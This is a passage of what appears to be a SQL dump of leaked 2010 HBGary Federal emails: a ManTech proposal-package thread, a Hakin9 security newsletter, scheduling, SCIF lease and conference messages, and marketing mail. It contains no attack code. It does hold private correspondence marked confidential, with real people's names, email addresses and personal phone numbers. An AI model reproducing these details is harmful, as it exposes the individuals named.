7:45 AM\r\nTo: \'courtneys@thebuffalogroup.com\'; \'schleep@thebuffalogroup.com\';\r\n\'ted@hbgary.com\'; \'Aaron Barr\'; \'Nuhad Karaki\'; \'Pat Black\';\r\n\'kathyrondon@aol.com\'; \'barlow.katrina@gmail.com\'; \'Megan Speicher\';\r\n\'samuel.corbitt@siegetechnologies.com\'; \'Sam Corbitt\'\r\nCc: \'James Berman\'; Simpson, Patrick B; Windle, Amanda J; Kassaie,\r\nRachel C; Hull, Wayne A; \'kirkpatrickj@thebuffalogroup.com\'; Contee, Maxine E;\r\nGrays, Cheryl D\r\nSubject: RE: Sealed Packages (IAW Section L) Due Friday COB\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nGatorbait Team\r\n\r\n&nbsp;\r\n\r\nAttached is our compliance\r\nmatrix for the cost volume.&nbsp; This may help you in creation of your sealed\r\npackage cost volume.&nbsp; We are working on the template right now.\r\n\r\n&nbsp;\r\n\r\nSome items may not apply to\r\nyou&#8212;if that is the case, please don&#8217;t ignore the\r\nrequirement&#8212;instead, note &#8220;not applicable&#8221; and indicate why\r\n(if an explanation is needed).\r\n\r\n&nbsp;\r\n\r\nThe sealed packages should be\r\ndelivered to ManTech so that we can ensure delivery of one complete\r\npackage.&nbsp; Of course, your package will remain sealed.\r\n\r\n&nbsp;\r\n\r\nPlease let us know if you have\r\nany questions.&nbsp; Thank you for your hard work as we near the finish line.\r\n\r\n&nbsp;\r\n\r\nRegards,\r\n\r\nSteve\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nStephen\r\nOtt\r\n\r\nPrincipal\r\nSubcontracts Administrator\r\n\r\nManTech Mission, Cyber,\r\nTechnology, and Solutions Group\r\n\r\n7799\r\nLeesburg Pike, Ste 700 South\r\n\r\nFalls\r\nChurch, VA 22043\r\n\r\n(P)\r\n703-485-8010\r\n\r\n(F)\r\n703-847-0486 \r\n\r\n&nbsp;\r\n\r\n**PROPRIETARY\r\n&amp; COMPANY-CONFIDENTIAL**\r\n\r\nThis email and the contents of this email (including any\r\nattachments) are company-confidential and/or proprietary. Unless you are the\r\naddressee (or authorized to receive for the addressee), you may not use, copy, disclose\r\nor distribute this email or any of the contents of this email.&nbsp; If you\r\nreceived this email in error, please promptly notify the sender by reply email\r\nand delete this email from your records.&nbsp; Thank you.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Ott, Stephen D \r\nSent: Tuesday, September 21, 2010 4:37 PM\r\nTo: Ott, Stephen D; courtneys@thebuffalogroup.com;\r\n\'schleep@thebuffalogroup.com\'; ted@hbgary.com; Aaron Barr; Nuhad Karaki; Pat\r\nBlack; kathyrondon@aol.com; barlow.katrina@gmail.com; Megan Speicher;\r\nsamuel.corbitt@siegetechnologies.com; Sam Corbitt\r\nCc: James Berman; Simpson, Patrick B; Windle, Amanda J; Kassaie, Rachel\r\nC; Hull, Wayne A; kirkpatrickj@thebuffalogroup.com; Contee, Maxine E; Grays,\r\nCheryl D\r\nSubject: RE: Sealed Packages (IAW Section L) Due Friday COB\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nGatorbait Team,\r\n\r\n&nbsp;\r\n\r\nWe are working on the checklist\r\nright now.&nbsp; We may be able to send a sanitized version of our cost volume\r\nto use as a shell/template as well.&nbsp; It may be later this evening when\r\nthey are sent.\r\n\r\n&nbsp;\r\n\r\nThank you.\r\n\r\n&nbsp;\r\n\r\nRegards,\r\n\r\nSteve\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nStephen\r\nOtt\r\n\r\nPrincipal\r\nSubcontracts Administrator\r\n\r\nManTech Mission, Cyber,\r\nTechnology, and Solutions Group\r\n\r\n7799\r\nLeesburg Pike, Ste 700 South\r\n\r\nFalls\r\nChurch, VA 22043\r\n\r\n(P)\r\n703-485-8010\r\n\r\n(F)\r\n703-847-0486 \r\n\r\n&nbsp;\r\n\r\n**PROPRIETARY\r\n&amp; COMPANY-CONFIDENTIAL**\r\n\r\nThis email and the contents of this email (including any attachments)\r\nare company-confidential and/or proprietary. Unless you are the addressee (or\r\nauthorized to receive for the addressee), you may not use, copy, disclose or\r\ndistribute this email or any of the contents of this email.&nbsp; If you\r\nreceived this email in error, please promptly notify the sender by reply email\r\nand delete this email from your records.&nbsp; Thank you.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Ott, Stephen D \r\nSent: Tuesday, September 21, 2010 11:41 AM\r\nTo: \'courtneys@thebuffalogroup.com\'; \'schleep@thebuffalogroup.com\';\r\n\'ted@hbgary.com\'; \'Aaron Barr\'; \'Nuhad Karaki\'; \'Pat Black\';\r\n\'kathyrondon@aol.com\'; \'barlow.katrina@gmail.com\'; \'Megan Speicher\';\r\n\'samuel.corbitt@siegetechnologies.com\'; \'Sam Corbitt\'\r\nCc: \'James Berman\'; Simpson, Patrick B; Windle, Amanda J; Kassaie,\r\nRachel C; Hull, Wayne A; kirkpatrickj@thebuffalogroup.com\r\nSubject: Sealed Packages (IAW Section L) Due Friday COB\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nGatorbait Team,\r\n\r\n&nbsp;\r\n\r\nGood morning.&nbsp; Please ensure your sealed packages are\r\ndelivered by COB Friday and that they meet the requirements of Section L (in\r\nparticular 6.0 Volume VI&#8212;page 15-24).&nbsp; \r\n\r\n&nbsp;\r\n\r\nOur pricer, Cheryl Grays is creating a checklist for the\r\ncost volume.&nbsp; I will send that to each of you later today.&nbsp; Hopefully\r\nit will help ensure all the requirements are being met.\r\n\r\n&nbsp;\r\n\r\nThank you.\r\n\r\n&nbsp;\r\n\r\nRegards,\r\n\r\nSteve\r\n\r\n&nbsp;\r\n\r\nStephen\r\nOtt\r\n\r\nPrincipal\r\nSubcontracts Administrator\r\n\r\nManTech Mission, Cyber,\r\nTechnology, and Solutions Group\r\n\r\n7799\r\nLeesburg Pike, Ste 700 South\r\n\r\nFalls\r\nChurch, VA 22043\r\n\r\n(P)\r\n703-485-8010\r\n\r\n(F)\r\n703-847-0486 \r\n\r\n&nbsp;\r\n\r\n**PROPRIETARY\r\n&amp; COMPANY-CONFIDENTIAL**\r\n\r\nThis email and the contents of this email (including any\r\nattachments) are company-confidential and/or proprietary. Unless you are the\r\naddressee (or authorized to receive for the addressee), you may not use, copy,\r\ndisclose or distribute this email or any of the contents of this email.&nbsp; If\r\nyou received this email in error, please promptly notify the sender by reply\r\nemail and delete this email from your records.&nbsp; Thank you.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5669,'aaron_hbgary_com/5669.html'),(12153,'2010-09-22','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297009008.M553920P14101Q7008.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: H9: Mobile Malware - the new cyber threat','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\nhakin9 Newsletter\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nJust started getting this newsletter and thought you may want to\r\ntake a look at it.\r\n\r\n&nbsp;\r\n\r\nChris \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Hakin9 Magazine\r\n[mailto:newsletteren@hakin9.org] \r\nSent: Wednesday, September 22, 2010 9:13 AM\r\nTo: Clair, Chris (TASC)\r\nSubject: H9: Mobile Malware - the new cyber threat\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n \r\n  \r\n  \r\n   \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n   \r\n   \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    &nbsp;\r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    &nbsp;\r\n    \r\n    \r\n    \r\n    \r\n   \r\n   \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n   \r\n  \r\n  \r\n \r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n \r\n  \r\n  \r\n  \r\n  \r\n  \r\n   \r\n   \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n   \r\n   \r\n   \r\n  \r\n   \r\n   \r\n  &nbsp;\r\n  Mobile Malware - the new cyber threat \r\n  \r\n  \r\n  \r\n  \r\n \r\n \r\n  \r\n  \r\n  \r\n   \r\n    \r\n    \r\n     \r\n      \r\n      Vulnerability\r\n      Management Buyer’s Checklist\r\n      \r\n      \r\n      \r\n      \r\n     \r\n     \r\n      \r\n      Key Questions to Ask\r\n      Before You Select a VM Solution\r\n      Choosing a solution\r\n      for VM is a critical step toward protecting your organization’s network\r\n      and data. Without proven, automated technology for precise detection and\r\n      remediation, no network can withstand the daily onslaught of new\r\n      vulnerabilities that threaten security.\r\n      To help finalize your\r\n      decision on which solution to buy, download this 12-point short list of\r\n      considerations that will help you determine what will work best for your\r\n      organization. \r\n      URL: https://www.qualys.com/\r\n      \r\n     \r\n    \r\n    &nbsp;\r\n    \r\n     \r\n      \r\n      eLearnSecurity\r\n      Penetration Testing Course \r\n      \r\n      \r\n      \r\n      \r\n     \r\n     \r\n      \r\n      \r\n       \r\n       \r\n      &quot;eLearnSecurity Penetration Testing Course is\r\n      the course for professionals who want to study and practice the most\r\n      advanced hacking skills, the best project management methodology and the\r\n      guidelines for state of the art reporting.\r\n      \r\n      Get 1 free SQL Injection module here: http://www.elearnsecurity.com \r\n      \r\n      Use coupon HAK9-ELS-5 until September 30th to redeem your discount.\r\n      &quot;I kept thinking “this is what the CEH/LPT should have been,” and I\r\n      am delighted to say that if students can master the topics and techniques\r\n      in eLearnSecurity’s Penetration Testing Pro, they should be well on their\r\n      way to being an accomplished pentester&quot; Jason Haddix -\r\n      SecurityAegis&quot;\r\n      &nbsp;\r\n      \r\n     \r\n    \r\n    &nbsp;\r\n    \r\n     \r\n      \r\n      Hacker\r\n      Halted 2010 \r\n      \r\n      \r\n      \r\n      \r\n     \r\n     \r\n      \r\n      \r\n       \r\n       \r\n      Make plans now to attend the fifteenth annual Hacker\r\n      Halted information security event - October 9-15 in Miami. \r\n      The format includes a 4-day training Academy, followed by a 2-day\r\n      conference and 1-day of free Training worth $595 (October 15) for all\r\n      registrants. \r\n      The two-day Conference on October 13-14 features a comprehensive\r\n      program presented in four tracks-including the unique Cut The Crap &amp;\r\n      Show Me The Hack sessions-and a product expo showcasing IT security\r\n      solutions from leading vendors and hot start-ups. Network with 1,000\r\n      colleagues from across the globe. Register early for the best rates. \r\n      Visit www.hackerhalted.com\r\n      &nbsp;\r\n      \r\n     \r\n    \r\n    \r\n    \r\n    Mobile\r\n    Malware - the new cyber threat\r\n    \r\n    DOWNLOAD &nbsp;\r\n    \r\n    \r\n    \r\n    \r\n    See the full list of articles at \r\n    &nbsp; hakin9\r\n    website\r\n    \r\n    \r\n    \r\n    Advertise\r\n    with Hakin9 magazine\r\n    Visit our website or contact us\r\n    directly at karolina.lesinska@hakin9.org\r\n    \r\n    \r\n    \r\n    \r\n    Download\r\n    2009/2010 archives of Hakin9 magazine\r\n    Click here!\r\n    \r\n    \r\n    \r\n    NetClarity\r\n    \r\n    \r\n    http://www.netclarity.net\r\n    \r\n    \r\n    \r\n    Email marketing by\r\n    \r\n    \r\n   \r\n  \r\n  \r\n  \r\n \r\n \r\n  \r\n  \r\n   \r\n    \r\n    Please spread the word about Hakin9.\r\n    Hakin9 team\r\n    www.hakin9.org\r\n    en@hakin9.org\r\n    tel. +1 917 338 36 31\r\n    \r\n    \r\n    Find hakin9\r\n    magazine on:\r\n    &nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; \r\n    \r\n   \r\n  \r\n  \r\n \r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nClick\r\nhere to unsubscribe from future mailings.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8340,'aaron_hbgary_com/8340.html'),(12154,'2010-09-22','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297009008.M769412P14101Q7009.eml','ctobias@wiikno.com,ctobias@wiikno.com,','Need to change meeting time','Hi CraigUnfortunately, Aaron is traveling on Thursday would you have availability on Friday?Maria-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\nCell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com   \r\n\r\n',6808,'aaron_hbgary_com/6808.html'),(12155,'2010-09-22','\"Eifert, Eric J.\" <Eric.Eifert@ManTech.com>','/aaron@hbgary.com/new/1297009009.M245457P14101Q7011.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Couple of things','Just got a call from DMI on same, meeting Oct 5th to discuss.\r\n\r\nI will have Daniel Estrada contact you directly on the social media training, he is who I would want you to walk through it with.  I will attend as well and we can talk the other stuff too.\r\n\r\nThanks,\r\n\r\nEric J. Eifert\r\nVice President and General Manager, Cyber Defense Solutions Business Unit\r\nManTech Mission, Cyber and Technology Solutions\r\n(direct) 703-388-2127   (cell) 703-966-9998   (fax) 703-388-2148\r\n\r\n**PROPRIETARY & COMPANY-CONFIDENTIAL**\r\nThis email and the contents of this email (including any attachments) are company-confidential and/or proprietary.  Unless you are the addressee (or authorized to receive for the addressee), you may not use, copy, disclose or distribute this email or any of the contents of this email.  If you received this email in error, please promptly notify the sender by reply email and delete this email from your records.  Thank you.\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, September 22, 2010 12:14 PM\r\nTo: Eifert, Eric J.\r\nSubject: Couple of things\r\n\r\nOne do you want to set up a time to talk about social media training?\r\nI can walk through the course material with your folks.  I don\'t have\r\nan open class coming up soon.\r\n\r\nTwo.  Curious what your thinking on ngen.  I have been contacted by\r\ndmi and ics for that upcoming proposal.\r\n\r\nWhen we get together I can cover our development of our tmc and what\r\nwe are discussing with dia, uscert and FBI CD.\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n',15246,'aaron_hbgary_com/15246.html'),(12156,'2010-09-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009009.M35185P14101Q7010.eml','\"Eric J. Eifert\" <Eric.Eifert@mantech.com>','Couple of things','One do you want to set up a time to talk about social media training?\r\nI can walk through the course material with your folks.  I don\'t have\r\nan open class coming up soon.\r\n\r\nTwo.  Curious what your thinking on ngen.  I have been contacted by\r\ndmi and ics for that upcoming proposal.\r\n\r\nWhen we get together I can cover our development of our tmc and what\r\nwe are discussing with dia, uscert and FBI CD.\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n',6701,'aaron_hbgary_com/6701.html'),(12157,'2010-09-22','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297009009.M764539P14101Q7012.eml','\"Aaron Barr\" <aaron@hbgary.com>','Fwd: FW: Latest Agenda : Cyber Security Conference','Can we review Rich&#39;s email below together?  Want to better understand the roles of \r\nNational Cyber Security Division versus National Cyber Security Center---------- Forwarded message ----------From: Rich Cummings &lt;rich@hbgary.com&gt;\r\nDate: Wed, Sep 22, 2010 at 4:26 AMSubject: FW: Latest Agenda : Cyber Security ConferenceTo: Penny Leavy &lt;penny@hbgary.com&gt;, Karen Burke &lt;karenmaryburke@yahoo.com&gt;\r\nCc: Maria Lucas &lt;maria@hbgary.com&gt;, Bob Slapnik &lt;bob@hbgary.com&gt;, Rocco Fasciani &lt;rocco@hbgary.com&gt;, Carma Beedle &lt;carma@hbgary.com&gt;, Joe Pizzo &lt;joe@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAll,\r\n\r\n \r\n\r\nAttached is the agenda and time\r\nslots for speakers next week.  There will be 75 – 100 CIO’s &amp; CISO’s and\r\ndecision makers.  If there is anyone there you would like me to meet please let\r\nme know.\r\n\r\n \r\n\r\nThx.\r\n\r\nRich\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Matossian, Julian\r\n(TTC) [mailto:jmatossian@ttcus.com] \r\nSent: Tuesday, September 21, 2010 1:38 PM\r\nTo: Matossian, Julian (TTC)\r\nSubject: Latest Agenda : Cyber Security Conference\r\nImportance: High\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nDaer Speakers,\r\n\r\n \r\n\r\nJust a quick email with the latest conference agenda\r\nattached.  Applied some corrections as well as some speaker swaps.\r\n\r\n \r\n\r\nThanks!\r\n\r\nJulian\r\n\r\n \r\n\r\nMr. Julian Matossian, MA\r\n\r\nPM/TTC\r\n\r\n310.563.1234 - Tel\r\n\r\n818.917.9000 - Cel\r\n\r\n310.563.1220 - Fax\r\n\r\njmatossian@ttcus.com\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  \r\n\r\n',5916,'aaron_hbgary_com/5916.html'),(12158,'2010-09-22','\"LinkedIn DirectAds\" <linkedin@em.linkedin.com>','/aaron@hbgary.com/new/1297009010.M230127P14101Q7014.eml','aaron@hbgary.com','An invitation to advertise on LinkedIn','\r\n\r\n\r\n  \r\n    \r\n    \r\n    \r\n    \r\n    \r\n  \r\n  \r\n    \r\n  \r\n  \r\n    \r\n    \r\n    \r\n    \r\n    \r\n  \r\n  \r\n    \r\n    \r\n    Targeted Pay-per-click Ads on LinkedIn\r\n    \r\n    \r\n  \r\n  \r\n    \r\n    \r\n    Here\'s $100 in free advertising. Redeem your coupon today.\r\n    \r\n    \r\n  \r\n  \r\n    \r\n    \r\n    \r\n\r\n  \r\n    \r\n   \r\n\r\n  \r\n    \r\n    \r\nTarget people by seniority, job function, industry, company size, age, gender, or geography. Get started in minutes with your LinkedIn account.Enter the following code along with your billing information: f9Xm zyRS KGn0 pCEX h7C    \r\n    \r\n    \r\n  \r\n  \r\n    \r\n    \r\n    \r\n    \r\n    \r\n  \r\n  \r\n    \r\n    \r\n    \r\n    (offer expires 10/31/2010)\r\n    \r\n  \r\n    \r\n    \r\n    \r\n    \r\n    \r\n\r\n  \r\n    \r\n    \r\n    \r\n  \r\n  \r\n    \r\n    \r\n    \r\n    \r\n    \r\nSee Your Ad Here\r\nPromote your products orservices with ads on LinkedIn.\r\nwww.your-business.com\r\nFrom: Your Name\r\n\r\n    \r\n    \r\n    \r\n    \r\n  \r\n  \r\n    \r\n  \r\n  \r\n    \r\n  \r\n      \r\n    \r\n    \r\n  \r\n      \r\n    \r\n    \r\n    \r\n  \r\n  \r\n    \r\n    \r\n    \r\n    \r\n    \r\n  \r\n  \r\n    \r\n  \r\n  \r\n    \r\n    \r\n    \r\n    \r\n    \r\n  \r\n  \r\n    \r\n    \r\n    \r\n\r\n*Offer Expiration: You must create your LinkedIn DirectAds account and use your ad credits before the expiration deadline of 11:59 p.m. Pacific time on 10/31/2010.  \r\n\r\nLinkedIn DirectAds customers are subject to a one-time $5 USD activation fee.\r\n\r\nYou are responsible for all charges in excess of the promotional credit. (Control how much you spend by setting a daily budget and ending date for your campaign. You can turn off your ads and campaigns at any time.)\r\n\r\nThis promotional offer is only valid for new LinkedIn DirectAds customers based in the U.S. One promotional offer per LinkedIn member. This promotional offer can only be used once, may be forwarded to another LinkedIn member, but cannot be sold or bartered. Promotional credit will be applied during the creation of a new DirectAds account, when you enter your billing information. All DirectAds are subject to the LinkedIn DirectAds Agreement and the LinkedIn User Agreement. This offer may be revoked at any time for any reason by LinkedIn prior to your creation of a DirectAds account and entering the coupon code by you. Please be aware that your Bank and/or Credit Card Company may charge you a currency conversion fee. Please check with your banking institution for any fees you may incur prior to placing your order as we are not responsible for any additional fees charged to you by any third party. 11:59 p.m. Pacific time on 10/31/2010. You must create your LinkedIn DirectAds account and use your ad credits by this date or they will expire.\r\n\r\nIf you need assistance or have questions, please contact LinkedIn Customer Service.\r\nThis message is part of an occasional mailing to help you get the most out of LinkedIn. If you prefer not to receive these messages, change your settings.\r\nTo ensure you receive our emails in your inbox, add linkedin@linkedin.com to your address book.  \r\nLinkedIn 2029 Stierlin Ct., Mountain View, CA 94043 USA\r\n    \r\n    \r\n    \r\n    \r\n  \r\n\r\n\r\n\r\n\r\n',2076,'aaron_hbgary_com/2076.html'),(12159,'2010-09-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009010.M25594P14101Q7013.eml','\"Eifert, Eric J.\" <Eric.Eifert@mantech.com>','Re: Couple of things','Ok.  Sounds good.  I would be interested to hear your thoughts after\r\nmeeting with dmi.\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Sep 22, 2010, at 12:17 PM, \"Eifert, Eric J.\"  wrote:\r\n\r\n> Just got a call from DMI on same, meeting Oct 5th to discuss.\r\n>\r\n> I will have Daniel Estrada contact you directly on the social media training, he is who I would want you to walk through it with.  I will attend as well and we can talk the other stuff too.\r\n>\r\n> Thanks,\r\n>\r\n> Eric J. Eifert\r\n> Vice President and General Manager, Cyber Defense Solutions Business Unit\r\n> ManTech Mission, Cyber and Technology Solutions\r\n> (direct) 703-388-2127   (cell) 703-966-9998   (fax) 703-388-2148\r\n>\r\n> **PROPRIETARY & COMPANY-CONFIDENTIAL**\r\n> This email and the contents of this email (including any attachments) are company-confidential and/or proprietary.  Unless you are the addressee (or authorized to receive for the addressee), you may not use, copy, disclose or distribute this email or any of the contents of this email.  If you received this email in error, please promptly notify the sender by reply email and delete this email from your records.  Thank you.\r\n>\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Wednesday, September 22, 2010 12:14 PM\r\n> To: Eifert, Eric J.\r\n> Subject: Couple of things\r\n>\r\n> One do you want to set up a time to talk about social media training?\r\n> I can walk through the course material with your folks.  I don\'t have\r\n> an open class coming up soon.\r\n>\r\n> Two.  Curious what your thinking on ngen.  I have been contacted by\r\n> dmi and ics for that upcoming proposal.\r\n>\r\n> When we get together I can cover our development of our tmc and what\r\n> we are discussing with dia, uscert and FBI CD.\r\n>\r\n> Aaron\r\n>\r\n> Sent from my iPhone\r\n',5480,'aaron_hbgary_com/5480.html'),(12160,'2010-09-22','\"Hill, Lawrence C (TASC)\" <lawrence.hill@TASC.COM>','/aaron@hbgary.com/new/1297009010.M487073P14101Q7015.eml','\"Ted Vera\" <ted@hbgary.com>,deb.debolt@tasc.com,\"Ted Vera\" <ted@hbgary.com>','RE: EXTERNAL:SCIF Space','Ted,\r\n\r\nSorry to say, I think the short answer is we can\'t get there from here in a timely fashion today.  However, we can work this longer term especially for a two person SCIF setting on the second floor lobby area.\r\n\r\nIf Deb could give you a price per square foot for that area AND we don\'t have to commit to providing the space upon award of contract your contract then we might be able to get you something for your proposal today.  Deb?\r\n\r\nVR,\r\nLawrence  \r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com] \r\nSent: Tuesday, September 21, 2010 3:43 PM\r\nTo: Hill, Lawrence C (TASC); deb.debolt@tasc.com\r\nCc: Barr Aaron\r\nSubject: Re: EXTERNAL:SCIF Space\r\n\r\nLawrence,\r\n\r\nI just found out this is in support of a proposal, so for it to help\r\nwith our immediate needs, we need to have pricing information by COB\r\ntomorrow.  I know this is a tall order, and understand if Deb can\'t\r\nget it to us this fast.  Either way though we\'d like the information\r\nfor future reference.\r\n\r\nThanks!\r\nTed\r\n\r\n\r\n\r\n\r\nOn Tue, Sep 21, 2010 at 2:35 PM, Ted Vera  wrote:\r\n> For now the 2 person could work - would also be interested to know\r\n> about the BB SCIF.  Can you find out the details / price from Deb?\r\n>\r\n> Thanks!\r\n> Ted\r\n>\r\n>\r\n>\r\n> On Tue, Sep 21, 2010 at 2:30 PM, Hill, Lawrence C (TASC)\r\n>  wrote:\r\n>> Ted,   How much do you need?  We may have a small space (2 person)\r\n>> available and with some effort might be able to make the old Blue Bird\r\n>> space available.\r\n>>\r\n>> I\'ll need to check particulars with Deb Debolt and Bill Lightfoot but\r\n>> certainly will check into it further.\r\n>>\r\n>> L\r\n>>\r\n>> -----Original Message-----\r\n>> From: Ted Vera [mailto:ted@hbgary.com]\r\n>> Sent: Tuesday, September 21, 2010 1:44 PM\r\n>> To: Hill, Lawrence C (TASC)\r\n>> Cc: Barr Aaron\r\n>> Subject: EXTERNAL:SCIF Space\r\n>>\r\n>> Hi Lawrence,\r\n>>\r\n>> Do you have any SCIF space that is available for lease?\r\n>>\r\n>> Ted\r\n>>\r\n>\r\n>\r\n>\r\n> --\r\n> Ted Vera  |  President  |  HBGary Federal\r\n> Office 916-459-4727x118  | Mobile 719-237-8623\r\n> www.hbgary.com  |  ted@hbgary.com\r\n>\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',5475,'aaron_hbgary_com/5475.html'),(12161,'2010-09-22','\"INPUT\" <input@input.com>','/aaron@hbgary.com/new/1297009010.M753597P14101Q7016.eml','Aaron@HBGary.com','Get Started Now - Win More Fiscal Year-End Contracts with INPUT','\r\n\r\nGet Started Now - Win More Fiscal Year-End Contracts with INPUT\r\n\r\nbody, td, ul, p, div, li {\r\n	color: #000;\r\n	font-family: Verdana, sans-serif;\r\n	font-size: 11px;\r\n	font-style: normal;\r\n	text-decoration: none;\r\n}\r\n\r\nbody { background-color: #eee; }\r\n\r\nh1 { color: #003082; margin: 0 0 0 0; padding: 0 0 0 0; font-size: 16px; font-family: Arial; font-weight: bold; }\r\nh2 { color: #000000; margin: 0 0 0 0; padding: 0 0 0 0; font-size: 12px; font-family: Arial; font-weight: bold;  }\r\nh3 { color: #000000; margin: 0 0 6px 0; padding: 0 0 0 0; font-size: 12px; font-family: Arial; font-weight: bold; }\r\nh4 { color: #000000; margin: 0 0 6px 0; padding: 0 0 0 0; font-size: 11px; font-weight: bold; }\r\nh5 { color: #000000; margin: 6px 0 12px 0; padding: 0 0 0 0; font-size: 11px; font-weight: normal; }\r\n\r\nh1.feddeader { color: #FFFFFF; margin: 0 0 0 0; padding: 0 0 0 0; font-size: 16px; font-family: Arial; font-weight: bold; }\r\n\r\nh2.eventTitle { color: #000000; margin: 0 0 0 0; padding: 0 0 0 0; font-size: 13px; font-family: Arial; font-weight: bold; text-align:left; }\r\n\r\np { margin: 0 0 0 0; padding: 0 0 5px 0; }\r\n\r\n.smalltxt {\r\nfont-size: 10px;\r\n}\r\n\r\nul { margin: 0 0 0 24px; padding: 0 8px 0px 8px; }\r\nli { padding: 0 0 12px 0; line-height: 1.25em; }\r\n\r\na { color: #0077D4; font-weight: bold; text-decoration: none; }\r\na:link, a:visited { color: #0077D4; }\r\na:hover, a:active { color: #003082; text-decoration: underline; }\r\n\r\na.footer { color: #003082; font-size: 10px; font-family: Verdana, sans-serif;}\r\n\r\na.link-navy { color: #003082; font-family: Verdana, sans-serif; }\r\n\r\na.link-blue { color: #0077D4; font-family: Verdana, sans-serif; }\r\n\r\ntd { vertical-align: top; }\r\n\r\ntable.page { width: auto; padding: 15px; background-color: #fff }\r\ntable.email { width: 600px; margin: 0; padding: 10px; border: 0px none #fff; background-color: #fff }\r\n\r\nsup.reg { font-size: 0.80em; }\r\nsup.trade { font-size: 0.95em; }\r\n.agency { width: 25%; background-color: #FFF; color: #000; font-family: verdana, sans-serif; font-size: 11px; font-weight: normal; text-align: left; vertical-align: middle; }\r\n\r\n.caption { color: #333; font-size: 9px; }\r\n.contact { color: #003082; font-size: 10px; }\r\n.footer { color: #000; font-size: 10px; font-family: Verdana, sans-serif; text-align: center; }\r\n\r\n.border { border: 1px solid #000000; }\r\n\r\np.sidebar { margin: 10px 20px 5px 0; color: #ff6600; font-weight: bold; font-size: 10px;}\r\n\r\n#column h3.feature { background-color: #fff; border: solid 1px #ddd; padding: 5px; }\r\n\r\n.highlight {color: #FF0000}\r\n\r\n#EventDesc {\r\nmargin:0;\r\npadding:7px 0 7px 0;\r\nline-height: 1.35em;\r\n}\r\n\r\n.datecolor {\r\ncolor:#333;\r\nfont-weight:bold;\r\n}\r\n.style5 {font-size: 10px; font-weight: bold; }\r\n.style8 {color: #CC0033}\r\n.style9 {color: #000066}\r\n.style10 {font-size: 14px}\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n  \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n    \r\n\r\n     Win More Fiscal Year-End Contracts and Jump-Start Your 2011 Planning\r\n	 Use INPUT to Find Opportunities, Teaming Partners,  and Spending  Forecasts with 95 Percent Accuracy\r\n     \r\n     As the government&rsquo;s fiscal year comes to a close, your  organization will want to capitalize on pursuing highly competitive opportunities. Leverage  INPUT&rsquo;s market intelligence on contracts,  agencies, companies, and contacts in order to successfully compete and win  year-end contract dollars and get a head start on the coming year&rsquo;s  opportunities. More than 2,000 organizations &mdash; including 19 of the top 20  federal contractors &mdash; are INPUT members and capture more than $200 billion in  contracts each year.\r\n\r\n  \r\n  \r\n\r\n     INPUT\'s  government market intelligence gives you access to more  than $2 trillion in federal opportunities and more than $50 billion in state  and local opportunities, with&nbsp;real-time  updates and alerts, 